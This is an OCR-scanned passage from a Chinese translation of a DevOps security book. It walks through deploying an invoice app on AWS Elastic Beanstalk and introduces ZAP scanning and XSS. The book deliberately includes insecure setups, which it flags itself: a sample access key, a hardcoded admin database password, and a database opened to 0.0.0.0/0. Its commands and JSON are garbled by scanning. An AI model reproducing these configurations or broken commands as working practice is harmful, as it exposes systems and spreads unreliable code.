从这里开始，我假设读者已了解AWS，并能够在这个平台上执行ー些基本 

的任务。对于不了解AWS的读者来说,可以在Michael Wittig和Andreas Wittig 
所著的 Amazon Web Services in Action （ Manning 出版社于 2015 年出版）ー书中 

找到精彩的介绍,这里展示的基础设施都包含在了 AWS的免费套餐所覆盖的范 

围里,所以你可以用自己的账户进行免费试验,

2.5.1 三层架构

图2.5展示的就是Web应用常用的三层架构模式:

•第一层处理来自客户端（Web浏览器或者客户端应用）发来的HTTP请求。 

可以在这ー层实施缓存和负载均衡。
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•第二层处理请求并构建响应。通常这里就是应用的核心所在。

•第三层是数据库和其他存储应用数据的后端。

图2.5 AWS的三层架构展示了一个负载均衡层(第一层)、紧随其后的计算节点(第二层)和 
在后端支持的关系型数据库(第三层)。

图2.5使用了 AWS的官方术语和图标。我们将在整本书中沿用这些术语和图标, 

所以你最好能尽快地熟悉它们的含义。

• ELB——Elastic Load Balancing是ー项由AWS管理的服务,它接收来自互联 

网客户端的流量并将其分配给应用。ELB的主要目标是在不修改应用前端的 

情况下，允许应用按需增加或减少服务器的数量。ELB还提供了 SSL/TLS终 

端来简化应用中对HTTPS的处理。

, EC2----- Elastic Compute Cloud 实例就是ー个运行着操作系统(OS, Operating
System)的虚拟机(VM, Virtual Machine)〇 EC2的底层基础设施由AWS管理, 

运维人员能访问的只有VM系统中运行的系统，而不能访问VM之下的虚拟 

机管理程序或者网络。你将在EC2上运行应用。

• RDS---- 大多数应用都需要存储数据，因此需要数据库。Relational Database
Service (RDS)提供了完全由 AWS 管理的 MySQL、PostgreSQL 及 Oracle 数 

据库，这让DevOps团队可以把工作重心放在数据本身上，而不是数据库服 

务器的管理上。在这个示例中，我们使用PostgreSQL来存储发票应用的数据。

在线服务往往比图2.5中的例子更加复杂,但它们的架构几乎都是以同样的三 

层架构为基础。发票应用也是三层架构。在下ー节,我将讲解如何在AWS中使用 

EB服务来创建这个环境。

2.5.2 配置访问AWS
你将使用AWS官方命令行工具来创建AWS EB基础设施，它的设置十分简单。 

首先,在Web控制台中的IAM (Identity and Access Management)界面找到账户的 

访问凭证。访问密钥应该存储在本地机器的$HOME/.aws/credentials文件中。你可 

以配置多个账户，每个账户都有自己的访问密钥，但是现在只用在默认账户中设置 
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ー个访问密钥就够了，如代码清单2.6所示。

代码清单2.6 $HOME/.aws/credentials文件中的AWS凭证

[default]
aws_access_key_id = AKIAILJA7 9QHF2 8ANU3
aws_secret_access_key = iqdohl81Hoq0Q08165451dNuil80ah8913Ao8HTn

你还要在$HOME/.aws/config文件中声明优先使用的区域,将其告知AWS。我 

们将选择区域US East 1,但你也可以选择更接近目标用户的区域，以减少网络延迟。

代码清单2.7 $HOME/.aws/config文件中的AWS默认区域配置

[default]
region = us-east-1

AWS提供的标准工具可以自动地在这些文件中寻找配置。安装提供了 “aws” 
命令的awscli,它是最受欢迎的工具之一。它是ー个可以通过pip安装的Python包（还 

能用Homebrew安装,但是仅对macOS有效）。

代码清单2.8 通过pip安装awscli

$ sudo pip install -U awscli

Successfully installed awscli-1.10.32

包管理器

Pip和Homebrew都是包管理器.,Pip是标准的Python包管理器，可以在所 

有操作系统上运行フHomebrew则是只能在macOS上运行的包管理器,它由社 

区的贡献者们管理。

尽管安装包的名字是awscli,但它提供的命令却叫作aws。它是ー个可以控制整 

个基础设施的强大工具。接下来，你将频繁地使用这个工具，并逐渐掌握各种各样的 

命令。

创建EB的脚本
在本章其余的内容中，用来创建EB环境的aws命令被放在了一个shell脚 

本里，你可以在GitHub网站的Securing-DevOps主页上找到（链接2.6）。如果 

你不喜欢手动输入命令,那么你完全可以使用这些脚本。
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2.5.3 虚拟私有云

所有AWS账户都自带一个虚拟私有云(VPC, Virtual Private Cloud),默认分 

配给每个区域的账户。如图2.6所示,在给定区域的基础设施中，VPC是专属于ー 

个客户的AWS网段。VPC相互之间是隔离的,它们具备我们稍后会用到的网络能力。 

在物理层,所有客户共享同一个网络设备，但抽象的laaS将物理层完全隐藏了起来。

图2.6每ー朵内部的云代表ー个VPC，它是某个AWS客户所私有的。在默认情况下,VPC之 
间无法通信，并且为每位客户提供了虚拟隔离层。

你可以使用代码清单2.9中的AWS命令,来获取在us-east-I区域中和账户一同 

创建的VPC的ID。

代码清单2.9使用AWS命令获取VPC的唯一ID

$ aws ec2 describe-vpcs _!调用 Ap)查询 丫卩じ详情。

"Vpcs11:

"Vpcld'* : Mvpc-2817dc4f" , V
**InstanceTenancy'1: "default”, 
"State"： "available",

J VPC 的唯一ID。

"DhcpOptionsId"： "dopt-03e20a67", 
"CidrBlock**: " 172.31.0.0/16 ", < 
"IsDefault"： true 1默认网络范围。

)

)
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命令返回了默认VPC的ID ： vpc-2817dc4fo这个ID是唯一的,但当你设置了 

自己的账户时,会得到不一样的ID。每个AWS账户可以拥有多个用于托管组件的 

VPC,但使用默认的VPC就已足够满足我们的需要。

2.5.4 创建数据库层

下ー步的设置就是创建基础设施中的第三层:数据库,如图2.7所示。这ー层 

包含了一个运行PostgreSQL的RDS实例，这个实例被置于一个安全组之中。你需 

要先定义ー个安全组，再将实例放入其中。

图2.7发票应用基础设施的第三层是由安全组中的RDS构成。

什么是安全组?

安全组是控制AWS组件之间交互的虚拟域。我们在第4章介绍基础设施安 

全时将讨论安全组.

使用AWS命令行工具和下面这些参数来创建安全组。现在，安全组不会阻止 

或者允许任何动作。

代码清单2.10创建RDS实例的安全组

$ aws ec2 create-security-group \
--group-name invoicer_db \ ◄- 唯一的安全组名字。

--description "Invoicer database security group" \
--vpc-id vpc-2817dc4f

］默认VPC的ID。
包含安全组唯一 ID 
的API响应。

}
"Groupld": "sg-3edf7345"

接下来，创建数据库并将其放到安全组sg-3edf7345之中。
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代码清单2.11创建RDS实例

$ aws rds create-db-instance \ 实例的名字。
- -db-name invoicer \
- -db-instance-identifier invoicer-db \ <<  安全组 ID。

- -vpc - securi ty- group - ids sg-3edf7345 \ ---- 1 应询的标音

- -allocated-storage "5" ゝ メけリ刖览直。

- -db-instance-class "db.t2.micro" \
- -engine postgres \ ----------
- -engine-version 9.6.2 \
- -auto-minor-version-upgrade \
- -publicly-accessible \ 数据库管理
- -master-username invoicer \ I I员的凭证。
- -master-user-password 'S0m3thlngr4nd0m/ \
--no-multi-az

代码清单2.11包含了很多内容。AWS创建了一个为运行PostgreSQL 9.5.2而 

设计的VM。这个VM使用了最少的资源（CPU、内存、网络吞吐量和磁盘空间的 

配置都较低）,这由命令中的两个参数决定,这两个参数分别代表了 5 GB的分配 

存储空间和db.t2.micro的实例类型。最后，AWS在PostgreSQL中创建了名为 

“invoicer”的数据库，并把它的管理员权限授予了名为“invoicer”的用户，该用户 

的密码是 “ $0m3thlngr4nd0m ”。

创建RDS实例需要一些时间，因为AWS需要在物理基础设施中找到ー个合适 

的地方，还要运行一遍所有的配置步骤。你可以像代码清单2.12那样,使用AWS 
命令的describe-db-instance参数来监控实例的创建过程。这段脚本每隔10 
秒就会检查AWS API的返回，当返回的JSON响应中出现了数据库的主机名时，将 

结束轮询。

代码清单2.12等待RDS实例创建的监控轮询

while true； do
aws rds describe-db-instances \

--db-instance-identifier invoicer-db > /tmp/invoicer-db.json 
dbhost=$(jq -r •.DBInstances[0] .Endpoint.Address 1 /tmp/invoicer-db.json) 
if [ M$dbhostH != "null” ]； then break； fi 
echo -n •., 
sleep 10 

done 
echo n dbhos t=$dbhost"

...dbhost=***.cxuqrkdqhklf.us-east-1.rds.amazonaws.com
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使用jq查询JSON
注意这里使用jq工具来解析AWS API返回的JSON响应° jq是ー种流行的 

命令行工具，用来从JSON格式提取数据中的信息,而且不需要任何编程语言 

基础O你可以从GitHub官网的stedolan主页找到更多关于jq的信息（链接2.7 ）〇 

在Ubuntu上,使用命令apt-get install jq安装jq。在macOS上,使用 

命令 brew install jq 安装 jqQ

当数据库实例创建成功之后,就有了一个在VPC内部使用的主机名,并且它被封 

闭在ー个安全组里。你现在已经做好了准备，可以创建基础设施的第一层和第二层了。

2.5.5用EB创建前两层
AWS提供了许多不同的技术来部署应用和管理服务器。在这个例子中，我们使 

用的可能是自动化程度最高的ー种:EBo EB是位于其他AWS基础设施资源之上的 

一个管理层。它可以用来创建ELB和EC2实例,以及它们的安全组,还可以把应 

用部署到这些实例中。对这个例子来说,通过CI流水线构建的Docker容器将被部 

署到EC2实例中，这些实例被置于ー个ELB之后，并由EB管理。图2.8展示了这 

种架构。

图2.8基础设施的第一层和第二层由AWSEB管理。

EB首先需要一个“应用”,即ー个用来组织组件的空结构。使用代码清单2.13 
中的命令来为发票应用创建一个。

代码清单2.13创建EB应用

aws elasticbeanstalk create-application \
--application-name invoicer \
--description "Securing DevOps Invoicer applicationn
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在发票EB应用的内部，创建一个用来运行其Docker容器的环境。这部分配置 

需要更多的参数,因为你需要指定要用哪一个解决方案堆栈。解决方案堆栈是为某 

种特殊用例而预先配置好的EC2实例。我们希望用预先配置好的最新版本来运行 

Docker 实例。使用 list-available-solution-stacks 命令，并使用 jq 和 

grep来过滤它的返回结果,这样就可以得到这个预先配置好的版本的名字。

代码清单2.14获取可用的最新版的Docker EB堆栈的名字

aws elasticbeanstalk list-available-solution-stacks | \
jq -r *.Solutionstacks(]' | \
grep -P 1 . +Amazon Linux. +Docker. + ' \ | ー从 JSON 响应
I head -! 中提取字段。

64bit Amazon Linux 2017.03 v2.7.3 running Docker 17.03.1-ce

性能怎么样?

你可能注意到了,我们在ー个运行于虚拟机管理程序之上的VM里运行 

Docker容器。这好像不太高效，的确,这种方法的基本性能低于在服务器裸机 

上直接运行的应用,但是，部署和维护的简化能抵消主要的性能损失（我们可 

以轻而易举地根据负载增加服务器的数量）。一切都要归结于,对你而言，最重 

要・的是什么：是基本性能，还是部署灵活性。

当你读到这几页时，Docker解决方案堆栈的版本可能已经发生了变化,但你可 

以使用AWSAP!来获取最新版的名字。

在创建环境之前,你还需要准备好发票应用的配置。每个应用都需要一些配置 

参数,通常由应用服务器文件系统中的配置文件提供。然而这些文件的创建和更新 

需要直接访问服务器,而你需要避免这样的访问。

如果你看过发票应用的源代码，会发现它只需要一些参数来连接PostgreSQL数 

据库。可以从环境变量中获取这些参数，并不需要管理配置文件。代码清单2.15展 

示了发票应用如何从环境变量中读取数据库配置。
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代码清单2.15从环境变量中获取PostgreSQL参数的Go代码

J―从环境变量中获取配置。

db, err = gorm.Open("postgres",
fmt.Sprintf("postgres：//%s：%s@%s/%s?sslmode=%s", 

os . Getenv ('• INVOICER_POSTGRES_USER"), 
os.Getenv("INVOICER_POSTGRES_PASSWORD"), 
os . Getenv ( "INVOICER_POSTGRES_HOST,1) z 
os.Getenv(nINVOICER_POSTGRES_DBn), 
"disable",

)) 
if err != nil {

panic("failed to connect database") 
}

在启动时,发票应用将读取代码清单2.15中定义的四个环境变量，并使用它们连 

接到数据库。你需要在EB中配置这些环境变量，这样才能在应用启动时通过Docker 
将这些参数传递给应用。这是通过以下展示的JSON文件完成的,创建环境的命令会 

加载这个文件。代码清单2.16的内容保存在ー个名为ebs-options.json的文件中。

代码清单2.16引用连接数据库参数的ebs-options.json

"Namespace"： "aws：elasticbeanstalk：application：environment", 
"OptionName": "INVOICER_POSTGRES_USER",
"Value"： "invoicer"

).
(

'•Namespace" : "aws ： elasticbeanstalk ：application： environment",
•,OptionName" ： "INVOICER_POSTGRES_PASSWORD",
•• Value" ： "S0m3thlngr4nd0m"

}，

(
"Namespace"： "aws：elasticbeanstalk：application：environment", 
"OptionName": "INVOICER_POSTGRES_DB",
"Value"： "invoicer"

},

(
"Namespace"： •' aws：elasticbeanstalk：application：environment",
"OptionName"： "INVOICER_POSTGRES_HOST",
"Value"： "* * *.cxuqrkdqhklf.us-east-1.rds.amazonaws.com"

)
]

安全提示

你应该创建一个数据库权限受限的独立用户,而不应该在应用中使用数据库 

管理员账户ユ在第4章中,我们将讨论如何利用数据库权限来防止应用受到攻击。
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将文件保存在ebs-options.json名下,然后继续创建环境。

aws elasticbeanstalk create-environment
--application-name invoicer \ ◄—
--environment-name invoicer-api \ 之前创建的应用的名字。

--description "Invoicer APP" \
--solution-stack-name \
"64bit Amazon Linux 2017.03 v2.7.3 running Docker 17.03.1-ce" \
--option-settings file：//$(pwd)/ebs-options.json \
--tier "Name=WebServer,Type=Standard,Version=11"

EB负责创建环境中的EC2实例和ELB,并ー步到位地创建好前两层的基础设施。 

这一步需要几分钟才能完成,因为需要初始化各种各样的组件。在这ー步结束之后， 

可以使用describe-environments命令来获取用来访问应用的公开终端节点。

aws elasticbeanstalk describe-environments
--environment-names invoicer-api \

jq -r '.Environments[0].CNAME 公开的终端节点

***.3pjw7ca4hi.us-east-1.elasticbeanstalk.com

安全提示

EB创建的这个ELB只支持HTTP,不支持HTTPS〇第5章将会说明如何 

配置ELB以支持HTTPS的方法，包括应该使用哪种SSL/TLS配置。

你的环境已经准备好了，但EC2实例还没有被允许连接到数据库。在默认情况 

下，安全组会阻止所有的入站连接，因此你需要开放RDS实例的安全组来允许EC2 
实例接入,如图2.9所示。

Elastic Load Balancing 
ELB

Elastic Compute Cloud 
EC2

Relational Database Service 
RDS

图2.9 RDS实例的安全组必须允许入站连接,以便EC2实例能连接到数据库。
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你已经知道了 RDS安全组的!D是sg-3edf7345o你需要在其中插入一条规则——允 

许来自任意IP的接入连接,即0.0.0.0/0。

代码清单2.19将RDS安全组开放给所有来源

:二制一書曇な苕：式吁。エw 之前创建的应用的名字。

--cidr 0.0.0.0/0 \ V--------------- !开放给全部互联网。
--protocol tcp --port 5432

］允许访问PostgreSQL端口。

安全提示

把数据库开放给整个互联网的规则肯定是不够好的。在第4章中，我们将 

讨论如何使用安全组来管理动态的和细粒度的防火墙规则ユ

当进行到这ー步时，你已经拥有了完整的运行基础设施，但里面没有运行任何 

内容。接下来就要将之前创建和发布的发票应用的Docker容器部署到EB基础设施 

之中了。

2.5.6将容器部署到系统中
发票应用的Docker容器托管在Docker Hub网站上（链接2.8）,见图2.1中的 

步骤（5）。你需要告知EB该容器的地址，这样EB就可以从Docker Hub上拉取该 

容器并部署到EC2实例中。下面就是这份处理声明的JSON文件。

代码清单2.20表明容器地址的EB配置

'•AWSEBDockeminVersionn ： " 1",
•' Image •• ： {
"Name"： "docker.io/securingdevops/invoicer"
"Update"： "true"

),

I 在 Docker Hub 中，发 
票应用容器的地址。

"Ports"：［
{

•'ContainerPort" : "8080" 
)

レ
"Logging"： "/var/log/nginx" 

}

应用监听的端口。

每个加入EB基础设施的新实例都会读取这份JSON配置，所以你要将这份配
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置上传到AWSS3，才能确保这些实例都可以取到。将这些定义保存在ー个本地文 

件中，然后使用命令行工具上传该文件。务必将存储桶名字“invoicer-eb”改成你 

自己的存储桶名字，因为存储桶的名字在所有AWS账户中必须是唯一的。

代码清单2.21将应用配置上传到S3

aws s3 mb s3：//invoicer-eb I I创建存储桶。

aws s3 cp app-version.json s3：//invoicer-eb/ イ上传JSON定义。

在EB中，你将引用应用定义的地址来创建名为invoicer-api的应用版本。

代码清单2.22将应用配置分配给EB环境

aws elasticbeanstalk create-application-version \ 
--application-name 11 invoicerH \
- -version-label invoicer-api \
- -source - bundl e '• S 3 Bucke t=invoicer - eb, S3Key=app-version. json"

最后，让EB使用刚创建的应用版本invoicer-api来更新环境。.只用一条命令， 

就可以自动完成下面的全部工作:通知AWS EB拉取Docker镜像，将其放到EC2 
实例中,并使用之前配置好的环境来运行。接下来,要部署新版本的应用，你只需 

要用代码清单2.23中的这一条命令。

代码清单2.23部署应用版本到EB环境

aws elasticbeanstalk update-environment \
- -application-name invoicer \
- -environment-id e-curu6awket \
- -version-label invoicer-api

环境更新需要几分钟的时间,你可以在Web控制台中观察至更新结束。当环境 

变绿时更新就成功了。发票应用有一个特殊的终端节点/_version.,它可以返回当 

前运行的应用版本。你可以用命令查询版本终端节点，并检查返回的版本是否是期 

望的版本，你可以通过这种方法来测试部署。

代码清单2.24通过公开终端节点获取应用版本

curl \
http://invoicer-api.***.us-east-1.elasticbeanstalk.com/__ version__

(
11 source" ： Hhttps ： //*** . com/Securing-DevOps/invoicer11 z
'•version'1 ： "20160522.0-660c2clh ,
"commit": "660c2clbcece48115b3070ca881bla7fIc432ba7" ,

"build"： nhttps：//***.com/gh/Securing-DevOps/invoicer/"

)
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创建并获取发票，确保数据库连接按预期工作。

代码清单2.25通过公开AP!创建发票

curl -X POST \
--data ' {,,is_paidu ： false, '• amount'• ： 1664, "due_date,, ：

"2016-05-07T23 : 00 : 00Zn , '• charges" ： [ { "type" ： "blood work", " amount"：

1664, "description"： "blood work" } ] }, \
http：//***.3pjw7ca4hi.us-east-1.elasticbeanstalk.com/invoice

created invoice 1

第一张发票已经成功创建了,这是令人鼓舞的。现在我们来获取它。

代码清单2.26通过公开API获取发票

curl \ 

http：//***.3pjw7ca4hi.us-east-1.elasticbeanstalk.com/invoice/1

(
nID": 1,
••CreatedAt" : ',2016-05-25T18 :49:04.978 995Z”, 

”UpdatedAt“： n2016-05-25T18:49:04.978995Z”， 

11 amountn : 1664 z 

"charges：[ 

{ 
"IDH: lf 
"CreatedAt": "2016-05-25T18:49:05.136358Z", 

"UpdatedAt": "2016-05-25T18：49：05.136358Z", 

"amount": 1664, 

"description"： "blood work", 

"invoice_id"： 1, 

"type"： "blood work" 

) 
し 
"due_date": "2016-05-07T23:00：00Z", 

"is_paid"： false, 

"payment_date": "0001-01-01T00：00:00Z" 

}

安全提示

将一个发票管理API完全开放给互联网，这显然不是ー个好主意。在第3 
章中，我们将讨论如何使用身份验证来保护Web应用。
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就是这样：发票应用已经启动，并在AWS EB中运行了起来。我们花了不少时 

间オ做到这一点，但是看看你的成就：只用一条命令,就可以部署发票应用的新版本。 

不需要管理服务器，也不需要手动配置，从代码测试到把容器部署到生产环境的ー 

切都是自动化的。就像我们在本章开始时计划好的那样，在15分钟之内你就可以 

让发送给代码仓库的补丁部署到基础设施中。

我们的基础设施还是太简单,它也没有运营生产服务所需的全部安全控制。但 

那些都是配置。CI/CD背后的逻辑始终如ー，我们会逐渐提高基础设施的安全性。 

我们要继续保持这种能力——在15分钟的时间窗之内，无须手动步骤就能完成应用 

新版本的部署。

这是DevOps的承诺:完全自动化的环境,让组织在短周期内把创意变成产品 。 

随着运维压カ的减轻，组织会将更多的精力集中在它的产品上，包括产品的安全性。

2.6 快速安全审计

在我们集中精力解决发票应用的部署时，我们忽略了一些关于应用、基础设施 

及CI/CD流水线的安全问题 ：

, GitHub、CircleCI还有Docker Hub需要互相访问。在默认情况下，这三种访 

问权限会被授予给高权限的账户，这些账户如果遭到泄露，就会威胁到托管 

在这些账户下的其他服务。而使用低权限账户可以提升安全性。

• 类似地，用来访问AWS的凭证也很容易被泄露，从而让不怀好意的人拥有 

对环境的所有访问权限。应该使用多因子身份验证和细粒度的权限来减小凭 

证泄露带来的影响。

• 我们的数据库安全实践也欠佳。不仅发票应用使用管理员账户访问 

PostgreSQL,而且数据库本身也是完全公开的。提升数据库的安全性是降低 

攻击风险的良策。

・ 发票应用的公开接口使用了明文的HTTP,这意味着连接路径上的任何人都 

可以复制和修改传输中的数据。HTTPS是ー种简单地获得安全性的方法，我 

们应该马上使用它。

・ 最后,发票应用自身也是完全开放给互联网的。我们需要身份验证和更健壮 

的安全实践来保障应用的安全。

在第1部分剩下的篇幅里，我们会逐一解决这些问题并讨论如何提升安全性。 

我们有一些工作要做，还有四章关于保护DevOps流水线的内容:

・ 我们从第3章的应用安全说起，讨论发票应用要面对的漏洞和控制。

• 基础设施安全性将在第4章中讨论，我们将对托管生产服务的AWS环境进
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行加固。

• 在第5章中我们将实现HTTPS，用来保证发票应用的通信安全。

• 流水线安全是第6章的主题,包括在CI/CD中构建和部署代码的安全原则。

2.7 本章小结

• 持续集成通过webhook将各个组件连接起来，以测试代码和构建容器。

• 持续交付使用AWSEB这样的laaS将容器部署到生产环境上。

• 除了人工评审,CI/CD流水线中的所有步骤应该全部自动化。

・ 简易的Devops流水线充斥着安全问题。
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本章内容包括

• 在CI中对应用进行自动化安全测试
・ 识别并防止常见的Web应用攻击
■ Web网站的身份验证技术
・ 及时更新Web应用及它们的依赖

我们在第2章中部署了发票应用,这是ー个管理发票的小型Web应用。我们集 

中精力搭建了 DevOps流水线,不过完全忽略了其安全性。这一章我们将回归到应 

用本身,专注于保护应用。这里我们关心的是应用本身,而我们会在后续章节中讨 

论基础设施和CI/CD流水线的安全性。

Web应用安全（WebAppSec, Web Application Security）在信息安全领域有着自己 

的独特性。WebAppSec聚焦于识别出Web应用（包括网站和API）和Web浏览器中 

的漏洞，并定义控制来保护它们。

WebAppSec的专家们花费了整个职业生涯将其精益求精。这一章的篇幅只能概 

要地介绍这个领域，所以我们会重点关注那些能将发票应用提升到可靠安全级别的 

基本控制，而对于那些超出本章范围的内容我们会给你ー些指引。关于这个主题, 

你可以找到很多不错的资源。你应该密切关注下面这份简短的清单:

• OWASP （链接3.1）有许多关于保护Web应用的优秀资源。每隔几年,OWASP 
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还会发布ー份排名在前十的Web应用漏洞清单,这是ー个能够提升组织安全 

意识的好工具（链接3.2）。

• Dafydd Stuttard 和 Marcus Pinto 所著的 The Web Application Hackers Handbook: Finding 

and Exploiting Security Flaws （Wiley 出版社于 2011 年出版）及 Michal Zalewski 所 

著的 The Tangled Web: A Guide to Securing Modem Web Applications （No Starch Press 
出版社于2011年出版）是两部关于Web应用攻击和保护的精彩著作。

• Mozilla 开发者网络（MDN, Mozilla Developer Network,链接 3.3）是互联网 

上关于Web开发技术、JavaScript及浏览器安全的最好信息来源之一（当然 

这份私心来自我和Mozilla的关系,但是MDN真的是非常棒的资源）。

在这一章里，你将为发票应用增加一层WebAppSec。我将首先介绍ー种自动 

测试Web应用安全性的方法:在C!流水线中使用OWASP Zed Attack Proxy （ZAP） 
扫描器。在本章的第2部分你将学习如何防范ZAP发现的这些问题。接下来，我们 

将讨论身份验证技术,以保护对发票应用提供的数据的访问。最后，我们将介绍及 

时更新应用及其依赖的技术，作为本章内容的结束。

3.1 保护并测试Web应用

现代Web服务是由多个层次组成的，这些层次通过HTTP在网络上交互。图3.1 
展示了一个典型服务的前端、后端和数据层的概要视图。

•前端,使用JavaScript, CSS和HTML编写,这些代码在用户的浏览器上运行, 

并通过HTTP和后端交互。

•后端Web API,可以使用任何ー种开发人员熟悉的语言（Python> JavaScript、 

Go、Ruby或Java,等等）编写，它响应来自前端的请求,把数据和文档返 

回给前端。后端通过查询各种各样的来源（比如数据库和外部API）构建出 

这些数据和文档。

«数据库和Web API组成了第三层，它们对前端是透明的。它们不直接构建文 

档,而是向后端提供数据,由后端构建返回给用户的文档。

图3.1现代Web应用在Web浏览器中执行前端代码来查询Web API, Web AP!使用数据库和 
其他Web API构建文档。
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在第2章中，部署的发票应用由一个Web API和一个数据库组成。本章你将扩 

展这个应用，为它加上一个简单的前端,来演示保护Web应用所面临的挑战。这个 

前端如图3.2所示。它只有一个输入框：发票的ID,只展示两个结果:发票的金额 

和说明。你可以访问GitHub官网的Securing-DevOps主页(链接3.4)来获取改进 

版本的发票应用源代码。注意,代码中包括了这一章中剩余的全部修改。使用git 
diff这样的比较工具来查看代码的变化。

〇 ： 白 D , » 三

Invoicer Web

Showing r>voice 10 1

Invoke 〇 ! ha» nmaur.l 11664

Request an Invoice by ID 
10 I

图3.2发票应用的Web前端是一个简单的HTML表单,显示了发票的金额。

乍ー看,很难发现在这样简单的页面中存在着哪些潜在的问题。但是,不能因 

为它很简单就忽视了它的安全性：这个页面存在着跨站脚本、跨站请求伪造、点击 

劫持和数据泄露等风险，它容易受到攻击。这些问题我稍后会在本章中加以解释, 

现在我们先来讨论如何发现这些问题。

人工查找漏洞是ー项耗时且乏味的工作。我们将使用OWASP ZAP来大幅度降 

低这项工作的难度，它是ー个专为扫描Web应用漏洞而设计的开源工具。ZAP是ー 

个Java应用,你可以从链接3.5中下载。它还提供了一个Docker容器，可以通过 

docker pull owasp/zap2doeker-weekly 这条命令获取。

从传统意义上来说，安全团队负责操作漏洞扫描器，要么在团队执行应用审计 

时手动扫描，要么在每周或每月定期扫描。这就要求安全团队先要对扫描器的报告 

进行分析，之后再和负责修复问题的开发团队沟通。人工审核需要时间，而且由于 

扫描只是定期执行,所以在问题被发现之前，易受攻击的服务可能已经在生产环境 

中部署了一段时间。

我们可以通过DevOps方法来改进工作流。你可能想起了第1章中的图1.5,它 

描绘了测试驱动安全(TDS)»将漏洞扫描集成到流水线上就是实现TDS的第一步, 

重点关注图3.3所示的CI流水线。这个思路很简单：每次代码在被签入代码仓库中 

的特性分支时，你就可以运行扫描，而不是定时运行扫描。在CI中运行漏洞扫描器, 

让安全测试向通常由CI工具运行的单元测试和集成测试靠近。这样将有助于消除 

只有安全团队才能运行并理解安全测试的特殊状态，可以让安全测试更贴近负责修 
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复这些问题的团队。你的目标就是当代码还在流水线中的时候,开发者就可以捕获 

安全问题，而不是等到代码运行在生产环境中时オ去发现它们。

图3.3根据第1章中的TDS模型，针对应用的安全测试应该作为CI流水线的一部分来直接运行。

快速扫描

扫描ー个Web应用以寻找其中的漏洞需要花费几小时，而且并不适合开 

发者需要快速迭代代码更改的工作流。我们需要快速扫描。ZAP为此可以限制 

扫描的范围和深度,让扫描在一分钟之内完成。我们将这种类型的漏洞评估称 

为基线扫描,它只关注基本的控制，而不是全面的漏洞评估。要了解更多关于 

ZAP基线扫描的信息，请参考链接3.6。

在Circled中集成ZAP Docker容器来运行针对发票应用的基线扫描。操作流 

程如图3.4所不t

图3.4代码仓库通知CI平台(1)需要测试特性分支上的补丁,这会触发应用容器的构建(2), 

ZAP会针对这个容器来运行(3)〇扫描的结果决定了测试应该是通过还是失败(4),

1 .代码仓库通知CI平台，有拉取请求被提交。

2 . CI平台获取ー份变更代码的拷贝,运行应用测试并构建应用容器。

3 . CI平台获取ZAP容器的拷贝,并针对应用容器来运行。



3.1保护并测试Web应用 51

4 .扫描的结果决定了 CI平台是通过还是拒绝这次变更。

内部TDS
这里我们再次使用CircleC!作为示例,但类似的工作流可以在任何CI环境 

中实现,包括在自己的数据中心里运行的流水线。例如，我们在实现Mozilla的 

ZAP基线扫描时，将其作为一条Jenkins部署流水线的一部分来运行，它运行在 

ー个私有的CI平台中，对那些部署到预生产环境中的应用进行扫描。

你可以用很多种方法将TDS集成到流水线之中。我们只是简单地利用第三 

方平台作为本书的示例，但你可以在组织内部运行完整的流水线来达到同样的 

效果。

请关注概念,而不是实现细节。

你要修改Circle。的配置来获取ZAP容器,并针对发票应用来执行它，才能实 

现这个工作流。发票应用将在自己的Docker容器中运行,并暴露出供ZAP扫描的 

本地IP和端口。这些修改体现在con6g.ym1文件中，如代码清单3」所示。

代码清单3.1配置Circled来运行针对发票应用的安全扫描

-run: 构建发票应用的Docker容器。
name： Build app丄丄cation container
command： |
go install --Idflags 1-extldflags "-static"1 \
github.com/${CIRCLE_PROJECT_USERNAME}/${CIRCLE_PROJECT_REPONAME};
[! -e bin ] && mkdir bin；

cp "${GOPATH_HEAD}/bin/${CIRCLE_PROJECT_REPONAME}" bin/invoicer; 
docker build -t ${DOCKER_REPO}/${CXRCLE_PROJECT_REPONAME}.;

-run：

name： Run application in background
command： |
docker run ${DOCKER_REPO}/${CIRCLE_PROJECT_REPONAME) 
background： true h

 在后台运行发票 

应用的容器。

-run ：

name： ZAP baseline scan of application
# Only fail on error code 1, which indicates at least one FAIL was found. 
# error codes 2 & 3 indicate WARN or other, and should not break the run 
command： |

I萩取ZAP容器
docker pull owasp/zap2docker-weekly && \ ◄---- ・“入“ 合行百

docker run -t owasp/zap2docker-weekly zap-baseline.py \
-U https://raw.***.com/${DOCKER_REPO}/${CIRCLE_PROJECT_

REPONAME}/master/zap-baseline.conf \
-t http：//***.17.0.2:8080/ I I \

if [ $? -ne 1 ]； then exit 0； else exit 1； fi；

) 用发票应用的IP运行ZAP。
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对Circled的变更以补丁形式作为一次拉取请求来进行提交,这将触发 

CircleCI运行此配置。图3.4中描绘的四个步骤将会依次执行。如果ZAP发现了一 

个漏洞,它会以ー个非〇的状态码退出,告诉CircleCI构建失败了。如果你对第2 
章中的没有任何规避措施的发票应用源代码执行这些测试，扫描会返回四个安全故 

障，如代码清单3.2所示。

代码清单3.2针对发票应用的ZAP基线扫描的输出

FAIL： Web Browser XSS Protection Not Enabled
FAIL： Content Security Policy (CSP) Header Not Set
FAIL： Absence of Anti-CSRF Tokens
FAIL： X-Frame-Options Header Not Set

FAIL: 4 WARN: 0 INFO: 4 IGNORE: 0 PASS: 42

现在你可能觉得扫描的输出没有什么意义,但它却告诉了我们一件事:发票应 

用不安全。在下ー节里,我将说明这些问题及如何规避它们，还会再次用到基线扫 

描来验证我们是否修复了这些问题。

3.2网站攻击和内容安全
要讨论在线服务中的常见问题，OWASP每三年发布的十大Web漏洞是ー个不 

错的出发点。OWASP列出的十大漏洞不仅适用于Web应用自身，还涉及托管这些 

应用的基础设施的配置错误(第4章将会介绍这些内容),以及敏感组件的升级滞后 ， 

这些敏感组件可能会因此完全暴露给已知问题或糟糕的身份验证(对这两个问题， 

本章后面将做介绍)。在本节中，我们将重点介绍影响Web应用的内容和流程的各 

种攻击手段,并展示Web浏览器如何防范这些攻击。我们从最常见的跨站脚本攻击 

说起。

3.2.1 跨站脚本攻击和内容安全策略

在编写本书期间,.最常见的网络漏洞恐怕就是跨站脚本攻击了，它通常被叫 

作XSS (Cross-Site Scripting)〇 ZAP基线扫描展示了下面两个故障,它们表明发 

票应用缺少对XSS攻击的防范。

• FAIL ： Web 浏览器 XSS 保护未开启(Web Browser XSS Protection Not Enabled)
• FAIL :内容安全策略标头未设置(Content Security Policy Header Not Set)

XSS攻击是由植入到网站中的欺诈代码所导致的，这些代码在植入后，对网站 

访问者来说就好像是正常的内容。这些欺诈代码会在攻击目标的浏览器中执行并产 
